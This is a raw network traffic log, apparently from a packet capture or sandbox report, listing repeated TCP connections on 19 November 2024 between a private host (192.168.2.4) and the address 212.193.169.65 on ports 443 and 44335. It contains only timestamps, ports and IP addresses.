Nov 19, 2024 18:56:14.059032917 CET	443	49844	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:14.059081078 CET	49844	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:14.059139013 CET	49844	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:14.071691990 CET	49852	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:14.071738005 CET	443	49852	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:14.071835041 CET	49852	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:14.072529078 CET	49852	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:14.072541952 CET	443	49852	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:14.782737017 CET	443	49852	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:14.782820940 CET	49852	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:14.784168959 CET	49852	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:14.784197092 CET	443	49852	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:14.784477949 CET	443	49852	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:14.785121918 CET	49852	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:14.785348892 CET	49852	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:14.785356045 CET	443	49852	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:14.786365986 CET	49852	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:14.786470890 CET	443	49852	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:14.786472082 CET	49852	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:14.786499977 CET	443	49852	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:14.786540985 CET	49852	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:14.786559105 CET	49852	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:14.849709034 CET	49860	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:14.849786997 CET	443	49860	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:14.849884987 CET	49860	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:14.850505114 CET	49860	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:14.850538969 CET	443	49860	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:15.583086014 CET	443	49860	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:15.583193064 CET	49860	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:15.584938049 CET	49860	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:15.584952116 CET	443	49860	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:15.585330963 CET	443	49860	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:15.585951090 CET	49860	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:15.587465048 CET	49860	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:15.587511063 CET	443	49860	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:15.587662935 CET	443	49860	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:15.587709904 CET	49860	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:15.587721109 CET	443	49860	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:15.587728977 CET	443	49860	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:15.587753057 CET	49860	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:15.587785006 CET	49860	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:15.587785006 CET	49860	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:15.625737906 CET	49868	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:15.625761986 CET	443	49868	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:15.625832081 CET	49868	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:15.626693010 CET	49868	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:15.626715899 CET	443	49868	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:16.444848061 CET	443	49868	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:16.445102930 CET	49868	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:16.446589947 CET	49868	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:16.446600914 CET	443	49868	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:16.446978092 CET	443	49868	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:16.447956085 CET	49868	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:16.448084116 CET	49868	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:16.448108912 CET	443	49868	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:16.448143005 CET	443	49868	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:16.448163986 CET	49868	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:16.448196888 CET	49868	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:16.458022118 CET	49876	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:16.462966919 CET	44335	49876	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:16.463459015 CET	49876	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:16.466115952 CET	49876	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:16.470927000 CET	44335	49876	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:17.165441036 CET	44335	49876	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:17.165457964 CET	44335	49876	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:17.165473938 CET	44335	49876	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:17.165488958 CET	44335	49876	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:17.165503025 CET	49876	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:17.165555000 CET	49876	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:17.252074957 CET	44335	49876	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:17.298253059 CET	49876	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:17.341775894 CET	49876	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:17.346605062 CET	44335	49876	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:17.563766956 CET	44335	49876	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:17.564800024 CET	49876	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:17.564956903 CET	49876	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:17.566061020 CET	49876	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:17.566247940 CET	49876	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:17.569873095 CET	44335	49876	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:17.570028067 CET	44335	49876	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:17.571160078 CET	44335	49876	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:17.571614981 CET	44335	49876	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:17.571708918 CET	49876	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:17.581578016 CET	49884	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:17.581625938 CET	443	49884	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:17.582372904 CET	49884	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:17.582928896 CET	49884	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:17.582969904 CET	443	49884	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:18.393418074 CET	443	49884	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:18.393522978 CET	49884	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:18.457139015 CET	49884	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:18.457182884 CET	443	49884	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:18.458204985 CET	443	49884	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:18.459460974 CET	49884	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:18.460697889 CET	49884	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:18.460825920 CET	443	49884	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:18.460851908 CET	49884	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:18.461051941 CET	443	49884	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:18.461097002 CET	443	49884	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:18.461111069 CET	49884	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:18.461150885 CET	49884	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:18.853514910 CET	49897	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:18.853552103 CET	443	49897	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:18.853699923 CET	49897	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:18.854428053 CET	49897	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:18.854445934 CET	443	49897	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:19.658725977 CET	443	49897	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:19.658803940 CET	49897	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:19.661079884 CET	49897	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:19.661087990 CET	443	49897	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:19.661426067 CET	443	49897	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:19.662941933 CET	49897	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:19.665076017 CET	49897	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:19.665082932 CET	443	49897	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:19.667756081 CET	49897	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:19.667915106 CET	443	49897	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:19.667953014 CET	443	49897	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:19.668032885 CET	49897	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:19.668051004 CET	49897	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:19.693280935 CET	49905	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:19.693327904 CET	443	49905	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:19.693404913 CET	49905	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:19.694338083 CET	49905	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:19.694354057 CET	443	49905	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:20.539210081 CET	443	49905	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:20.539356947 CET	49905	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:20.541574955 CET	49905	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:20.541594982 CET	443	49905	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:20.541970015 CET	443	49905	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:20.543142080 CET	49905	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:20.544229031 CET	49905	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:20.544261932 CET	443	49905	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:20.544398069 CET	443	49905	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:20.544433117 CET	443	49905	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:20.544514894 CET	49905	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:20.544605970 CET	49905	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:20.554435968 CET	49913	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:20.554474115 CET	443	49913	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:20.554656029 CET	49913	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:20.555126905 CET	49913	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:20.555146933 CET	443	49913	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:21.356264114 CET	443	49913	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:21.356359005 CET	49913	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:21.464509964 CET	49913	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:21.464528084 CET	443	49913	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:21.464883089 CET	443	49913	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:21.484188080 CET	49913	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:21.508224010 CET	49913	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:21.508305073 CET	443	49913	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:21.508469105 CET	49913	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:21.508565903 CET	443	49913	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:21.508615971 CET	443	49913	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:21.508657932 CET	49913	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:21.508685112 CET	49913	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:21.814619064 CET	49921	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:21.814662933 CET	443	49921	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:21.814764023 CET	49921	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:21.815284014 CET	49921	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:21.815299034 CET	443	49921	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:22.703923941 CET	443	49921	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:22.704005003 CET	49921	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:22.705704927 CET	49921	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:22.705714941 CET	443	49921	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:22.705965996 CET	443	49921	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:22.707200050 CET	49921	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:22.707282066 CET	49921	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:22.707330942 CET	443	49921	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:22.707357883 CET	443	49921	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:22.707376003 CET	49921	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:22.707401991 CET	49921	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:22.723686934 CET	49928	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:22.728749990 CET	44335	49928	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:22.729085922 CET	49928	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:22.729842901 CET	49928	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:22.734599113 CET	44335	49928	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:23.446631908 CET	44335	49928	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:23.446646929 CET	44335	49928	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:23.446660042 CET	44335	49928	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:23.446700096 CET	49928	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:23.446928024 CET	44335	49928	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:23.447012901 CET	49928	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:23.536696911 CET	44335	49928	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:23.538230896 CET	49928	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:23.543165922 CET	44335	49928	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:23.762259007 CET	44335	49928	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:23.763171911 CET	49928	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:23.763417959 CET	49928	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:23.764389992 CET	49928	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:23.764457941 CET	49928	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:23.768090963 CET	44335	49928	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:23.768220901 CET	44335	49928	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:23.769241095 CET	44335	49928	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:23.769682884 CET	44335	49928	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:23.769753933 CET	49928	44335	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:23.890901089 CET	49940	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:23.890959978 CET	443	49940	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:23.891212940 CET	49940	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:23.891696930 CET	49940	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:23.891719103 CET	443	49940	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:24.685496092 CET	443	49940	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:24.685583115 CET	49940	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:24.687123060 CET	49940	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:24.687151909 CET	443	49940	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:24.687410116 CET	443	49940	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:24.688179016 CET	49940	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:24.688636065 CET	49940	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:24.688662052 CET	443	49940	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:24.688694000 CET	49940	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:24.688754082 CET	443	49940	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:24.688781023 CET	443	49940	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:24.688868999 CET	49940	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:24.688868999 CET	49940	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:24.793874979 CET	49948	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:24.793898106 CET	443	49948	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:24.793987036 CET	49948	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:24.794364929 CET	49948	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:24.794378042 CET	443	49948	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:25.608169079 CET	443	49948	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:25.608261108 CET	49948	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:25.609591961 CET	49948	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:25.609602928 CET	443	49948	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:25.609850883 CET	443	49948	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:25.614310980 CET	49948	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:25.614695072 CET	49948	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:25.614725113 CET	443	49948	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:25.614820004 CET	443	49948	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:25.614830971 CET	49948	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:25.614852905 CET	443	49948	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:25.614883900 CET	49948	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:25.614898920 CET	49948	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:25.622766018 CET	49956	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:25.622802019 CET	443	49956	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:25.623016119 CET	49956	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:25.623442888 CET	49956	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:25.623460054 CET	443	49956	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:26.357846975 CET	443	49956	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:26.358047962 CET	49956	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:26.359076977 CET	49956	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:26.359097958 CET	443	49956	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:26.359435081 CET	443	49956	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:26.360153913 CET	49956	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:26.360754967 CET	49956	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:26.360755920 CET	49956	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:26.360790968 CET	443	49956	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:26.360903025 CET	443	49956	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:26.360938072 CET	443	49956	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:26.360991955 CET	49956	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:26.360991955 CET	49956	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:26.470218897 CET	49964	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:26.470254898 CET	443	49964	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:26.470428944 CET	49964	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:26.470922947 CET	49964	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:26.470937967 CET	443	49964	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:27.275892973 CET	443	49964	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:27.275986910 CET	49964	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:27.277241945 CET	49964	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:27.277270079 CET	443	49964	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:27.277530909 CET	443	49964	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:27.278162956 CET	49964	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:27.278716087 CET	49964	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:27.278769970 CET	443	49964	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:27.278862000 CET	443	49964	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:27.278884888 CET	443	49964	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:27.278888941 CET	49964	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:27.278912067 CET	443	49964	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:27.278943062 CET	49964	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:27.278944016 CET	49964	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:27.278978109 CET	49964	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:27.502711058 CET	49972	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:27.502800941 CET	443	49972	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:27.502952099 CET	49972	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:27.503391027 CET	49972	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:27.503427982 CET	443	49972	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:28.302819967 CET	443	49972	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:28.302902937 CET	49972	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:28.304315090 CET	49972	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:28.304337978 CET	443	49972	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:28.304601908 CET	443	49972	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:28.305201054 CET	49972	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:28.305969954 CET	49972	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:28.306008101 CET	443	49972	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:28.306112051 CET	443	49972	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:28.306138039 CET	443	49972	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:28.306195021 CET	49972	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:28.306267023 CET	49972	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:28.315471888 CET	49980	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:28.315515041 CET	443	49980	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:28.315586090 CET	49980	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:28.315952063 CET	49980	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:28.315972090 CET	443	49980	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:29.193259954 CET	443	49980	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:29.193578959 CET	49980	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:29.216850042 CET	49980	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:29.216870070 CET	443	49980	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:29.217170000 CET	443	49980	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:29.221657038 CET	49980	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:29.222321033 CET	49980	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:29.222321033 CET	49980	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:29.222352028 CET	443	49980	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:29.222448111 CET	443	49980	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:29.222476006 CET	443	49980	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:29.222546101 CET	49980	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:29.222546101 CET	49980	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:29.326560020 CET	49989	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:29.326597929 CET	443	49989	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:29.327722073 CET	49989	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:29.328119040 CET	49989	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:29.328130960 CET	443	49989	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:30.184504032 CET	443	49989	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:30.184571981 CET	49989	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:30.187222004 CET	49989	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:30.187235117 CET	443	49989	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:30.187509060 CET	443	49989	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:30.188190937 CET	49989	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:30.189915895 CET	49989	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:30.189956903 CET	443	49989	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:30.189984083 CET	49989	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:30.190073013 CET	443	49989	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:30.190100908 CET	443	49989	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:30.190135956 CET	49989	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:30.190151930 CET	49989	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:30.314384937 CET	50001	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:30.314435959 CET	443	50001	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:30.314519882 CET	50001	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:30.314980030 CET	50001	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:30.314999104 CET	443	50001	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:31.032592058 CET	443	50001	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:31.032707930 CET	50001	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:31.034240961 CET	50001	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:31.034250021 CET	443	50001	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:31.034502983 CET	443	50001	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:31.035475969 CET	50001	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:31.036730051 CET	50001	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:31.036731005 CET	50001	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:31.036765099 CET	443	50001	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:31.036879063 CET	443	50001	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:31.036911011 CET	443	50001	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:31.036932945 CET	50001	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:31.036966085 CET	50001	443	192.168.2.4	212.193.169.65
